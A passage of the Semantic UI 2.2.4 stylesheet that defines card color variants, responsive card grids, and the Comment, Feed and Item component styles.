  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #DB2828, 0px 1px 3px 0px #D4D4D5;
}

.ui.red.cards > .card:hover,
.ui.cards > .red.card:hover,
.ui.red.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #d01919, 0px 1px 3px 0px #BCBDBD;
}

/* Orange */

.ui.orange.cards > .card,
.ui.cards > .orange.card,
.ui.orange.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #F2711C, 0px 1px 3px 0px #D4D4D5;
}

.ui.orange.cards > .card:hover,
.ui.cards > .orange.card:hover,
.ui.orange.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #f26202, 0px 1px 3px 0px #BCBDBD;
}

/* Yellow */

.ui.yellow.cards > .card,
.ui.cards > .yellow.card,
.ui.yellow.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #FBBD08, 0px 1px 3px 0px #D4D4D5;
}

.ui.yellow.cards > .card:hover,
.ui.cards > .yellow.card:hover,
.ui.yellow.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #eaae00, 0px 1px 3px 0px #BCBDBD;
}

/* Olive */

.ui.olive.cards > .card,
.ui.cards > .olive.card,
.ui.olive.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #B5CC18, 0px 1px 3px 0px #D4D4D5;
}

.ui.olive.cards > .card:hover,
.ui.cards > .olive.card:hover,
.ui.olive.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #a7bd0d, 0px 1px 3px 0px #BCBDBD;
}

/* Green */

.ui.green.cards > .card,
.ui.cards > .green.card,
.ui.green.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #21BA45, 0px 1px 3px 0px #D4D4D5;
}

.ui.green.cards > .card:hover,
.ui.cards > .green.card:hover,
.ui.green.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #16ab39, 0px 1px 3px 0px #BCBDBD;
}

/* Teal */

.ui.teal.cards > .card,
.ui.cards > .teal.card,
.ui.teal.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #00B5AD, 0px 1px 3px 0px #D4D4D5;
}

.ui.teal.cards > .card:hover,
.ui.cards > .teal.card:hover,
.ui.teal.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #009c95, 0px 1px 3px 0px #BCBDBD;
}

/* Blue */

.ui.blue.cards > .card,
.ui.cards > .blue.card,
.ui.blue.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #2185D0, 0px 1px 3px 0px #D4D4D5;
}

.ui.blue.cards > .card:hover,
.ui.cards > .blue.card:hover,
.ui.blue.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #1678c2, 0px 1px 3px 0px #BCBDBD;
}

/* Violet */

.ui.violet.cards > .card,
.ui.cards > .violet.card,
.ui.violet.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #6435C9, 0px 1px 3px 0px #D4D4D5;
}

.ui.violet.cards > .card:hover,
.ui.cards > .violet.card:hover,
.ui.violet.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #5829bb, 0px 1px 3px 0px #BCBDBD;
}

/* Purple */

.ui.purple.cards > .card,
.ui.cards > .purple.card,
.ui.purple.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #A333C8, 0px 1px 3px 0px #D4D4D5;
}

.ui.purple.cards > .card:hover,
.ui.cards > .purple.card:hover,
.ui.purple.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #9627ba, 0px 1px 3px 0px #BCBDBD;
}

/* Pink */

.ui.pink.cards > .card,
.ui.cards > .pink.card,
.ui.pink.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #E03997, 0px 1px 3px 0px #D4D4D5;
}

.ui.pink.cards > .card:hover,
.ui.cards > .pink.card:hover,
.ui.pink.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #e61a8d, 0px 1px 3px 0px #BCBDBD;
}

/* Brown */

.ui.brown.cards > .card,
.ui.cards > .brown.card,
.ui.brown.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #A5673F, 0px 1px 3px 0px #D4D4D5;
}

.ui.brown.cards > .card:hover,
.ui.cards > .brown.card:hover,
.ui.brown.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #975b33, 0px 1px 3px 0px #BCBDBD;
}

/* Grey */

.ui.grey.cards > .card,
.ui.cards > .grey.card,
.ui.grey.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #767676, 0px 1px 3px 0px #D4D4D5;
}

.ui.grey.cards > .card:hover,
.ui.cards > .grey.card:hover,
.ui.grey.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #838383, 0px 1px 3px 0px #BCBDBD;
}

/* Black */

.ui.black.cards > .card,
.ui.cards > .black.card,
.ui.black.card {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #1B1C1D, 0px 1px 3px 0px #D4D4D5;
}

.ui.black.cards > .card:hover,
.ui.cards > .black.card:hover,
.ui.black.card:hover {
  box-shadow: 0px 0px 0px 1px #D4D4D5, 0px 2px 0px 0px #27292a, 0px 1px 3px 0px #BCBDBD;
}

/*--------------
   Card Count
---------------*/

.ui.one.cards {
  margin-left: 0em;
  margin-right: 0em;
}

.ui.one.cards > .card {
  width: 100%;
}

.ui.two.cards {
  margin-left: -1em;
  margin-right: -1em;
}

.ui.two.cards > .card {
  width: calc( 50%  -  2em );
  margin-left: 1em;
  margin-right: 1em;
}

.ui.three.cards {
  margin-left: -1em;
  margin-right: -1em;
}

.ui.three.cards > .card {
  width: calc( 33.33333333%  -  2em );
  margin-left: 1em;
  margin-right: 1em;
}

.ui.four.cards {
  margin-left: -0.75em;
  margin-right: -0.75em;
}

.ui.four.cards > .card {
  width: calc( 25%  -  1.5em );
  margin-left: 0.75em;
  margin-right: 0.75em;
}

.ui.five.cards {
  margin-left: -0.75em;
  margin-right: -0.75em;
}

.ui.five.cards > .card {
  width: calc( 20%  -  1.5em );
  margin-left: 0.75em;
  margin-right: 0.75em;
}

.ui.six.cards {
  margin-left: -0.75em;
  margin-right: -0.75em;
}

.ui.six.cards > .card {
  width: calc( 16.66666667%  -  1.5em );
  margin-left: 0.75em;
  margin-right: 0.75em;
}

.ui.seven.cards {
  margin-left: -0.5em;
  margin-right: -0.5em;
}

.ui.seven.cards > .card {
  width: calc( 14.28571429%  -  1em );
  margin-left: 0.5em;
  margin-right: 0.5em;
}

.ui.eight.cards {
  margin-left: -0.5em;
  margin-right: -0.5em;
}

.ui.eight.cards > .card {
  width: calc( 12.5%  -  1em );
  margin-left: 0.5em;
  margin-right: 0.5em;
  font-size: 11px;
}

.ui.nine.cards {
  margin-left: -0.5em;
  margin-right: -0.5em;
}

.ui.nine.cards > .card {
  width: calc( 11.11111111%  -  1em );
  margin-left: 0.5em;
  margin-right: 0.5em;
  font-size: 10px;
}

.ui.ten.cards {
  margin-left: -0.5em;
  margin-right: -0.5em;
}

.ui.ten.cards > .card {
  width: calc( 10%  -  1em );
  margin-left: 0.5em;
  margin-right: 0.5em;
}

/*-------------------
      Doubling
--------------------*/

/* Mobile Only */

@media only screen and (max-width: 767px) {
  .ui.two.doubling.cards {
    margin-left: 0em;
    margin-right: 0em;
  }

  .ui.two.doubling.cards .card {
    width: 100%;
    margin-left: 0em;
    margin-right: 0em;
  }

  .ui.three.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.three.doubling.cards .card {
    width: calc( 50%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }

  .ui.four.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.four.doubling.cards .card {
    width: calc( 50%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }

  .ui.five.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.five.doubling.cards .card {
    width: calc( 50%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }

  .ui.six.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.six.doubling.cards .card {
    width: calc( 50%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }

  .ui.seven.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.seven.doubling.cards .card {
    width: calc( 33.33333333%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }

  .ui.eight.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.eight.doubling.cards .card {
    width: calc( 33.33333333%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }

  .ui.nine.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.nine.doubling.cards .card {
    width: calc( 33.33333333%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }

  .ui.ten.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.ten.doubling.cards .card {
    width: calc( 33.33333333%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }
}

/* Tablet Only */

@media only screen and (min-width: 768px) and (max-width: 991px) {
  .ui.two.doubling.cards {
    margin-left: 0em;
    margin-right: 0em;
  }

  .ui.two.doubling.cards .card {
    width: 100%;
    margin-left: 0em;
    margin-right: 0em;
  }

  .ui.three.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.three.doubling.cards .card {
    width: calc( 50%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }

  .ui.four.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.four.doubling.cards .card {
    width: calc( 50%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }

  .ui.five.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.five.doubling.cards .card {
    width: calc( 33.33333333%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }

  .ui.six.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.six.doubling.cards .card {
    width: calc( 33.33333333%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }

  .ui.eight.doubling.cards {
    margin-left: -1em;
    margin-right: -1em;
  }

  .ui.eight.doubling.cards .card {
    width: calc( 33.33333333%  -  2em );
    margin-left: 1em;
    margin-right: 1em;
  }

  .ui.eight.doubling.cards {
    margin-left: -0.75em;
    margin-right: -0.75em;
  }

  .ui.eight.doubling.cards .card {
    width: calc( 25%  -  1.5em );
    margin-left: 0.75em;
    margin-right: 0.75em;
  }

  .ui.nine.doubling.cards {
    margin-left: -0.75em;
    margin-right: -0.75em;
  }

  .ui.nine.doubling.cards .card {
    width: calc( 25%  -  1.5em );
    margin-left: 0.75em;
    margin-right: 0.75em;
  }

  .ui.ten.doubling.cards {
    margin-left: -0.75em;
    margin-right: -0.75em;
  }

  .ui.ten.doubling.cards .card {
    width: calc( 20%  -  1.5em );
    margin-left: 0.75em;
    margin-right: 0.75em;
  }
}

/*-------------------
      Stackable
--------------------*/

@media only screen and (max-width: 767px) {
  .ui.stackable.cards {
    display: block !important;
  }

  .ui.stackable.cards .card:first-child {
    margin-top: 0em !important;
  }

  .ui.stackable.cards > .card {
    display: block !important;
    height: auto !important;
    margin: 1em 1em;
    padding: 0 !important;
    width: calc( 100%  -  2em ) !important;
  }
}

/*--------------
      Size
---------------*/

.ui.cards > .card {
  font-size: 1em;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
    User Variable Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Comment
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Standard
*******************************/

/*--------------
    Comments
---------------*/

.ui.comments {
  margin: 1.5em 0em;
  max-width: 650px;
}

.ui.comments:first-child {
  margin-top: 0em;
}

.ui.comments:last-child {
  margin-bottom: 0em;
}

/*--------------
     Comment
---------------*/

.ui.comments .comment {
  position: relative;
  background: none;
  margin: 0.5em 0em 0em;
  padding: 0.5em 0em 0em;
  border: none;
  border-top: none;
  line-height: 1.2;
}

.ui.comments .comment:first-child {
  margin-top: 0em;
  padding-top: 0em;
}

/*--------------------
    Nested Comments
---------------------*/

.ui.comments .comment .comments {
  margin: 0em 0em 0.5em 0.5em;
  padding: 1em 0em 1em 1em;
}

.ui.comments .comment .comments:before {
  position: absolute;
  top: 0px;
  left: 0px;
}

.ui.comments .comment .comments .comment {
  border: none;
  border-top: none;
  background: none;
}

/*--------------
     Avatar
---------------*/

.ui.comments .comment .avatar {
  display: block;
  width: 2.5em;
  height: auto;
  float: left;
  margin: 0.2em 0em 0em;
}

.ui.comments .comment img.avatar,
.ui.comments .comment .avatar img {
  display: block;
  margin: 0em auto;
  width: 100%;
  height: 100%;
  border-radius: 0.25rem;
}

/*--------------
     Content
---------------*/

.ui.comments .comment > .content {
  display: block;
}

/* If there is an avatar move content over */

.ui.comments .comment > .avatar ~ .content {
  margin-left: 3.5em;
}

/*--------------
     Author
---------------*/

.ui.comments .comment .author {
  font-size: 1em;
  color: rgba(0, 0, 0, 0.87);
  font-weight: bold;
}

.ui.comments .comment a.author {
  cursor: pointer;
}

.ui.comments .comment a.author:hover {
  color: #1e70bf;
}

/*--------------
     Metadata
---------------*/

.ui.comments .comment .metadata {
  display: inline-block;
  margin-left: 0.5em;
  color: rgba(0, 0, 0, 0.4);
  font-size: 0.875em;
}

.ui.comments .comment .metadata > * {
  display: inline-block;
  margin: 0em 0.5em 0em 0em;
}

.ui.comments .comment .metadata > :last-child {
  margin-right: 0em;
}

/*--------------------
     Comment Text
---------------------*/

.ui.comments .comment .text {
  margin: 0.25em 0em 0.5em;
  font-size: 1em;
  word-wrap: break-word;
  color: rgba(0, 0, 0, 0.87);
  line-height: 1.3;
}

/*--------------------
     User Actions
---------------------*/

.ui.comments .comment .actions {
  font-size: 0.875em;
}

.ui.comments .comment .actions a {
  cursor: pointer;
  display: inline-block;
  margin: 0em 0.75em 0em 0em;
  color: rgba(0, 0, 0, 0.4);
}

.ui.comments .comment .actions a:last-child {
  margin-right: 0em;
}

.ui.comments .comment .actions a.active,
.ui.comments .comment .actions a:hover {
  color: rgba(0, 0, 0, 0.8);
}

/*--------------------
      Reply Form
---------------------*/

.ui.comments > .reply.form {
  margin-top: 1em;
}

.ui.comments .comment .reply.form {
  width: 100%;
  margin-top: 1em;
}

.ui.comments .reply.form textarea {
  font-size: 1em;
  height: 12em;
}

/*******************************
            State
*******************************/

.ui.collapsed.comments,
.ui.comments .collapsed.comments,
.ui.comments .collapsed.comment {
  display: none;
}

/*******************************
           Variations
*******************************/

/*--------------------
        Threaded
---------------------*/

.ui.threaded.comments .comment .comments {
  margin: -1.5em 0 -1em 1.25em;
  padding: 3em 0em 2em 2.25em;
  box-shadow: -1px 0px 0px rgba(34, 36, 38, 0.15);
}

/*--------------------
        Minimal
---------------------*/

.ui.minimal.comments .comment .actions {
  opacity: 0;
  position: absolute;
  top: 0px;
  right: 0px;
  left: auto;
  -webkit-transition: opacity 0.2s ease;
  transition: opacity 0.2s ease;
  -webkit-transition-delay: 0.1s;
  transition-delay: 0.1s;
}

.ui.minimal.comments .comment > .content:hover > .actions {
  opacity: 1;
}

/*-------------------
        Sizes
--------------------*/

.ui.mini.comments {
  font-size: 0.78571429rem;
}

.ui.tiny.comments {
  font-size: 0.85714286rem;
}

.ui.small.comments {
  font-size: 0.9em;
}

.ui.comments {
  font-size: 1em;
}

.ui.large.comments {
  font-size: 1.1em;
}

.ui.big.comments {
  font-size: 1.28571429rem;
}

.ui.huge.comments {
  font-size: 1.2em;
}

.ui.massive.comments {
  font-size: 1.71428571rem;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
    User Variable Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Feed
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
         Activity Feed
*******************************/

.ui.feed {
  margin: 1em 0em;
}

.ui.feed:first-child {
  margin-top: 0em;
}

.ui.feed:last-child {
  margin-bottom: 0em;
}

/*******************************
            Content
*******************************/

/* Event */

.ui.feed > .event {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
  width: 100%;
  padding: 0.21428571rem 0em;
  margin: 0em;
  background: none;
  border-top: none;
}

.ui.feed > .event:first-child {
  border-top: 0px;
  padding-top: 0em;
}

.ui.feed > .event:last-child {
  padding-bottom: 0em;
}

/* Event Label */

.ui.feed > .event > .label {
  display: block;
  -webkit-box-flex: 0;
  -webkit-flex: 0 0 auto;
  -ms-flex: 0 0 auto;
  flex: 0 0 auto;
  width: 2.5em;
  height: auto;
  -webkit-align-self: stretch;
  -ms-flex-item-align: stretch;
  align-self: stretch;
  text-align: left;
}

.ui.feed > .event > .label .icon {
  opacity: 1;
  font-size: 1.5em;
  width: 100%;
  padding: 0.25em;
  background: none;
  border: none;
  border-radius: none;
  color: rgba(0, 0, 0, 0.6);
}

.ui.feed > .event > .label img {
  width: 100%;
  height: auto;
  border-radius: 500rem;
}

.ui.feed > .event > .label + .content {
  margin: 0.5em 0em 0.35714286em 1.14285714em;
}

/*--------------
     Content
---------------*/

/* Content */

.ui.feed > .event > .content {
  display: block;
  -webkit-box-flex: 1;
  -webkit-flex: 1 1 auto;
  -ms-flex: 1 1 auto;
  flex: 1 1 auto;
  -webkit-align-self: stretch;
  -ms-flex-item-align: stretch;
  align-self: stretch;
  text-align: left;
  word-wrap: break-word;
}

.ui.feed > .event:last-child > .content {
  padding-bottom: 0em;
}

/* Link */

.ui.feed > .event > .content a {
  cursor: pointer;
}

/*--------------
      Date
---------------*/

.ui.feed > .event > .content .date {
  margin: -0.5rem 0em 0em;
  padding: 0em;
  font-weight: normal;
  font-size: 1em;
  font-style: normal;
  color: rgba(0, 0, 0, 0.4);
}

/*--------------
     Summary
---------------*/

.ui.feed > .event > .content .summary {
  margin: 0em;
  font-size: 1em;
  font-weight: bold;
  color: rgba(0, 0, 0, 0.87);
}

/* Summary Image */

.ui.feed > .event > .content .summary img {
  display: inline-block;
  width: auto;
  height: 10em;
  margin: -0.25em 0.25em 0em 0em;
  border-radius: 0.25em;
  vertical-align: middle;
}

/*--------------
      User
---------------*/

.ui.feed > .event > .content .user {
  display: inline-block;
  font-weight: bold;
  margin-right: 0em;
  vertical-align: baseline;
}

.ui.feed > .event > .content .user img {
  margin: -0.25em 0.25em 0em 0em;
  width: auto;
  height: 10em;
  vertical-align: middle;
}

/*--------------
   Inline Date
---------------*/

/* Date inside Summary */

.ui.feed > .event > .content .summary > .date {
  display: inline-block;
  float: none;
  font-weight: normal;
  font-size: 0.85714286em;
  font-style: normal;
  margin: 0em 0em 0em 0.5em;
  padding: 0em;
  color: rgba(0, 0, 0, 0.4);
}

/*--------------
  Extra Summary
---------------*/

.ui.feed > .event > .content .extra {
  margin: 0.5em 0em 0em;
  background: none;
  padding: 0em;
  color: rgba(0, 0, 0, 0.87);
}

/* Images */

.ui.feed > .event > .content .extra.images img {
  display: inline-block;
  margin: 0em 0.25em 0em 0em;
  width: 6em;
}

/* Text */

.ui.feed > .event > .content .extra.text {
  padding: 0em;
  border-left: none;
  font-size: 1em;
  max-width: 500px;
  line-height: 1.4285em;
}

/*--------------
      Meta
---------------*/

.ui.feed > .event > .content .meta {
  display: inline-block;
  font-size: 0.85714286em;
  margin: 0.5em 0em 0em;
  background: none;
  border: none;
  border-radius: 0;
  box-shadow: none;
  padding: 0em;
  color: rgba(0, 0, 0, 0.6);
}

.ui.feed > .event > .content .meta > * {
  position: relative;
  margin-left: 0.75em;
}

.ui.feed > .event > .content .meta > *:after {
  content: '';
  color: rgba(0, 0, 0, 0.2);
  top: 0em;
  left: -1em;
  opacity: 1;
  position: absolute;
  vertical-align: top;
}

.ui.feed > .event > .content .meta .like {
  color: '';
  -webkit-transition: 0.2s color ease;
  transition: 0.2s color ease;
}

.ui.feed > .event > .content .meta .like:hover .icon {
  color: #FF2733;
}

.ui.feed > .event > .content .meta .active.like .icon {
  color: #EF404A;
}

/* First element */

.ui.feed > .event > .content .meta > :first-child {
  margin-left: 0em;
}

.ui.feed > .event > .content .meta > :first-child::after {
  display: none;
}

/* Action */

.ui.feed > .event > .content .meta a,
.ui.feed > .event > .content .meta > .icon {
  cursor: pointer;
  opacity: 1;
  color: rgba(0, 0, 0, 0.5);
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
}

.ui.feed > .event > .content .meta a:hover,
.ui.feed > .event > .content .meta a:hover .icon,
.ui.feed > .event > .content .meta > .icon:hover {
  color: rgba(0, 0, 0, 0.95);
}

/*******************************
            Variations
*******************************/

.ui.small.feed {
  font-size: 0.92857143rem;
}

.ui.feed {
  font-size: 1rem;
}

.ui.large.feed {
  font-size: 1.14285714rem;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
    User Variable Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Item
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Standard
*******************************/

/*--------------
      Item
---------------*/

.ui.items > .item {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  margin: 1em 0em;
  width: 100%;
  min-height: 0px;
  background: transparent;
  padding: 0em;
  border: none;
  border-radius: 0rem;
  box-shadow: none;
  -webkit-transition: box-shadow 0.1s ease;
  transition: box-shadow 0.1s ease;
  z-index: '';
}

.ui.items > .item a {
  cursor: pointer;
}

/*--------------
      Items
---------------*/

.ui.items {
  margin: 1.5em 0em;
}

.ui.items:first-child {
  margin-top: 0em !important;
}

.ui.items:last-child {
  margin-bottom: 0em !important;
}

/*--------------
      Item
---------------*/

.ui.items > .item:after {
  display: block;
  content: ' ';
  height: 0px;
  clear: both;
  overflow: hidden;
  visibility: hidden;
}

.ui.items > .item:first-child {
  margin-top: 0em;
}

.ui.items > .item:last-child {
  margin-bottom: 0em;
}

/*--------------
     Images
---------------*/

.ui.items > .item > .image {
  position: relative;
  -webkit-box-flex: 0;
  -webkit-flex: 0 0 auto;
  -ms-flex: 0 0 auto;
  flex: 0 0 auto;
  display: block;
  float: none;
  margin: 0em;
  padding: 0em;
  max-height: '';
  -webkit-align-self: top;
  -ms-flex-item-align: top;
  align-self: top;
}

.ui.items > .item > .image > img {
  display: block;
  width: 100%;
  height: auto;
  border-radius: 0.125rem;
  border: none;
}

.ui.items > .item > .image:only-child > img {
  border-radius: 0rem;
}

/*--------------
     Content
---------------*/

.ui.items > .item > .content {
  display: block;
  -webkit-box-flex: 1;
  -webkit-flex: 1 1 auto;
  -ms-flex: 1 1 auto;
  flex: 1 1 auto;
  background: none;
  margin: 0em;
  padding: 0em;
  box-shadow: none;
  font-size: 1em;
  border: none;
  border-radius: 0em;
}

.ui.items > .item > .content:after {
  display: block;
  content: ' ';
  height: 0px;
  clear: both;
  overflow: hidden;
  visibility: hidden;
}

.ui.items > .item > .image + .content {
  min-width: 0;
  width: auto;
  display: block;
  margin-left: 0em;
  -webkit-align-self: top;
  -ms-flex-item-align: top;
  align-self: top;
  padding-left: 1.5em;
}

.ui.items > .item > .content > .header {
  display: inline-block;
  margin: -0.21425em 0em 0em;
  
  font-weight: bold;
  color: rgba(0, 0, 0, 0.85);
}

/* Default Header Size */

.ui.items > .item > .content > .header:not(.ui) {
  font-size: 1.28571429em;
}

/*--------------
     Floated
---------------*/

.ui.items > .item [class*="left floated"] {
  float: left;
}

.ui.items > .item [class*="right floated"] {
  float: right;
}

/*--------------
  Content Image
---------------*/

.ui.items > .item .content img {
  -webkit-align-self: middle;
  -ms-flex-item-align: middle;
  align-self: middle;
  width: '';
}

.ui.items > .item img.avatar,
.ui.items > .item .avatar img {
  width: '';
  height: '';
  border-radius: 500rem;
}

/*--------------
   Description
---------------*/

.ui.items > .item > .content > .description {
  margin-top: 0.6em;
  max-width: auto;
  font-size: 1em;
  line-height: 1.4285em;
  color: rgba(0, 0, 0, 0.87);
}

/*--------------
    Paragraph
---------------*/

.ui.items > .item > .content p {
  margin: 0em 0em 0.5em;
}

.ui.items > .item > .content p:last-child {
  margin-bottom: 0em;
}

/*--------------
      Meta
---------------*/

.ui.items > .item .meta {
  margin: 0.5em 0em 0.5em;
  font-size: 1em;
  line-height: 1em;
  color: rgba(0, 0, 0, 0.6);
}

.ui.items > .item .meta * {
  margin-right: 0.3em;
}

.ui.items > .item .meta :last-child {
  margin-right: 0em;
}

.ui.items > .item .meta [class*="right floated"] {
  margin-right: 0em;
  margin-left: 0.3em;
}

/*--------------
      Links
---------------*/

/* Generic */

.ui.items > .item > .content a:not(.ui) {
  color: '';
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
}

.ui.items > .item > .content a:not(.ui):hover {
  color: '';
}

/* Header */

.ui.items > .item > .content > a.header {
  color: rgba(0, 0, 0, 0.85);
}

.ui.items > .item > .content > a.header:hover {
  color: #1e70bf;
}

/* Meta */

.ui.items > .item .meta > a:not(.ui) {
  color: rgba(0, 0, 0, 0.4);
}

.ui.items > .item .meta > a:not(.ui):hover {
  color: rgba(0, 0, 0, 0.87);
}

/*--------------
     Labels
---------------*/

/*-----Star----- */

/* Icon */

.ui.items > .item > .content .favorite.icon {
  cursor: pointer;
  opacity: 0.75;
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
}

.ui.items > .item > .content .favorite.icon:hover {
  opacity: 1;
  color: #FFB70A;
}

.ui.items > .item > .content .active.favorite.icon {
  color: #FFE623;
}

/*-----Like----- */

/* Icon */

.ui.items > .item > .content .like.icon {
  cursor: pointer;
  opacity: 0.75;
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
}

.ui.items > .item > .content .like.icon:hover {
  opacity: 1;
  color: #FF2733;
}

.ui.items > .item > .content .active.like.icon {
  color: #FF2733;
}

/*----------------
  Extra Content
-----------------*/

.ui.items > .item .extra {
  display: block;
  position: relative;
  background: none;
  margin: 0.5rem 0em 0em;
  width: 100%;
  padding: 0em 0em 0em;
  top: 0em;
  left: 0em;
  color: rgba(0, 0, 0, 0.4);
  box-shadow: none;
  -webkit-transition: color 0.1s ease;
  transition: color 0.1s ease;
  border-top: none;
}

.ui.items > .item .extra > * {
  margin: 0.25rem 0.5rem 0.25rem 0em;
}

.ui.items > .item .extra > [class*="right floated"] {
  margin: 0.25rem 0em 0.25rem 0.5rem;
}

.ui.items > .item .extra:after {
  display: block;
  content: ' ';
  height: 0px;
  clear: both;
  overflow: hidden;
  visibility: hidden;
}

/*******************************
          Responsive
*******************************/

/* Default Image Width */

.ui.items > .item > .image:not(.ui) {
  width: 175px;
}

/* Tablet Only */

@media only screen and (min-width: 768px) and (max-width: 991px) {
  .ui.items > .item {
    margin: 1em 0em;
  }

  .ui.items > .item > .image:not(.ui) {
    width: 150px;
  }

  .ui.items > .item > .image + .content {
    display: block;
    padding: 0em 0em 0em 1em;
  }
}

/* Mobile Only */

@media only screen and (max-width: 767px) {
  .ui.items > .item {
    -webkit-box-orient: vertical;
    -webkit-box-direction: normal;
    -webkit-flex-direction: column;
    -ms-flex-direction: column;
    flex-direction: column;
    margin: 2em 0em;
  }

  .ui.items > .item > .image {
    display: block;
    margin-left: auto;
    margin-right: auto;
  }

  .ui.items > .item > .image,
  .ui.items > .item > .image > img {
    max-width: 100% !important;
    width: auto !important;
    max-height: 250px !important;
  }

  .ui.items > .item > .image + .content {
    display: block;
    padding: 1.5em 0em 0em;
  }
}

/*******************************
           Variations
*******************************/

/*-------------------
       Aligned
--------------------*/

.ui.items > .item > .image + [class*="top aligned"].content {
  -webkit-align-self: flex-start;
  -ms-flex-item-align: start;
  align-self: flex-start;
}

.ui.items > .item > .image + [class*="middle aligned"].content {
  -webkit-align-self: center;
  -ms-flex-item-align: center;
  align-self: center;
}

.ui.items > .item > .image + [class*="bottom aligned"].content {
  -webkit-align-self: flex-end;
  -ms-flex-item-align: end;
  align-self: flex-end;
}

/*--------------
     Relaxed
---------------*/

.ui.relaxed.items > .item {
  margin: 1.5em 0em;
}

.ui[class*="very relaxed"].items > .item {
  margin: 2em 0em;
}

/*-------------------
      Divided
--------------------*/

.ui.divided.items > .item {
  border-top: 1px solid rgba(34, 36, 38, 0.15);
  margin: 0em;
  padding: 1em 0em;
}

.ui.divided.items > .item:first-child {
  border-top: none;
  margin-top: 0em !important;
  padding-top: 0em !important;
}

.ui.divided.items > .item:last-child {
  margin-bottom: 0em !important;
  padding-bottom: 0em !important;
}

/* Relaxed Divided */

.ui.relaxed.divided.items > .item {
  margin: 0em;
  padding: 1.5em 0em;
}

.ui[class*="very relaxed"].divided.items > .item {
  margin: 0em;
  padding: 2em 0em;
}

/*-------------------
        Link
--------------------*/

.ui.items a.item:hover,
.ui.link.items > .item:hover {
  cursor: pointer;
}

.ui.items a.item:hover .content .header,
.ui.link.items > .item:hover .content .header {
  color: #1e70bf;
}

/*--------------
      Size
---------------*/

.ui.items > .item {
  font-size: 1em;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
